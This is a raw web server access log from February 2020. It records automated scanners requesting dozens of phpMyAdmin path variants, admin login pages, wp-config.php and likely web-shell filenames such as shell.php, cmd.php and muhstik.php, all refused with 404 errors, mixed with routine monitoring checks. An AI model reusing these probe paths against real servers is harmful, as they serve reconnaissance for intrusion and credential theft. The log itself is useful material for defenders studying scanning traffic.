166.62.92.37 - - [13/Feb/2020:10:21:53 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:53 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:53 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:53 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:53 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:54 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:54 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:54 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:54 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:54 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:55 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:55 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:56 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:56 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:56 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:56 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:56 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:56 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:57 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:57 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:57 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:57 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:57 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:57 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:58 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:58 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:58 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:58 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:58 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:58 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:58 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:59 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:59 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:59 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:59 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:59 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:21:59 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:00 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:00 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:00 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:00 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:00 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:00 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:01 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:01 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:01 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:01 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:01 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:01 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:02 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:02 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:02 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:02 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:02 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:02 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:02 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:03 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:03 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:03 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:03 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:03 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:03 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:04 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:04 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:04 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:04 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:04 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:07 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:08 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:08 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
166.62.92.37 - - [13/Feb/2020:10:22:08 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.105 Safari/537.36"
45.152.6.58 - - [13/Feb/2020:10:22:14 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [13/Feb/2020:10:22:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [13/Feb/2020:10:22:28 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [13/Feb/2020:10:22:35 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [13/Feb/2020:10:23:00 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [13/Feb/2020:10:23:11 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [13/Feb/2020:10:23:14 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [13/Feb/2020:10:23:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:10:24:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:10:25:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:10:26:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.58.133.74 - - [13/Feb/2020:10:27:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [13/Feb/2020:10:27:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [13/Feb/2020:10:28:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.143.220.189 - - [13/Feb/2020:10:29:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "libwww-perl/6.43"
212.91.246.72 - - [13/Feb/2020:10:29:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [13/Feb/2020:10:29:33 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [13/Feb/2020:10:29:55 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [13/Feb/2020:10:30:14 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [13/Feb/2020:10:30:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.14.213.79 - - [13/Feb/2020:10:30:36 +0100] "POST /Admin54f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0"
122.14.213.79 - - [13/Feb/2020:10:31:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
122.14.213.79 - - [13/Feb/2020:10:31:21 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
122.14.213.79 - - [13/Feb/2020:10:31:22 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
122.14.213.79 - - [13/Feb/2020:10:31:22 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0"
122.14.213.79 - - [13/Feb/2020:10:31:23 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:10:31:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.14.213.79 - - [13/Feb/2020:10:31:44 +0100] "POST /bbs.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
122.14.213.79 - - [13/Feb/2020:10:32:08 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:10:32:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.14.213.79 - - [13/Feb/2020:10:32:36 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
122.14.213.79 - - [13/Feb/2020:10:33:00 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
122.14.213.79 - - [13/Feb/2020:10:33:24 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [13/Feb/2020:10:33:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.14.213.79 - - [13/Feb/2020:10:33:48 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
122.14.213.79 - - [13/Feb/2020:10:34:15 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
122.14.213.79 - - [13/Feb/2020:10:34:20 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:20 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:20 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:21 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:21 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:22 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:22 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:24 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:24 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:24 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
212.91.246.72 - - [13/Feb/2020:10:34:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.14.213.79 - - [13/Feb/2020:10:34:26 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:26 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:28 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:29 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:29 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:29 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:29 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:30 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:31 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:31 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:31 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:32 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:33 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:33 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:34 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:41 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:42 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:42 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:43 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:43 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:44 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:44 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:44 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:45 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:45 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:45 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:45 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:46 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:46 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:47 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
122.14.213.79 - - [13/Feb/2020:10:34:47 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
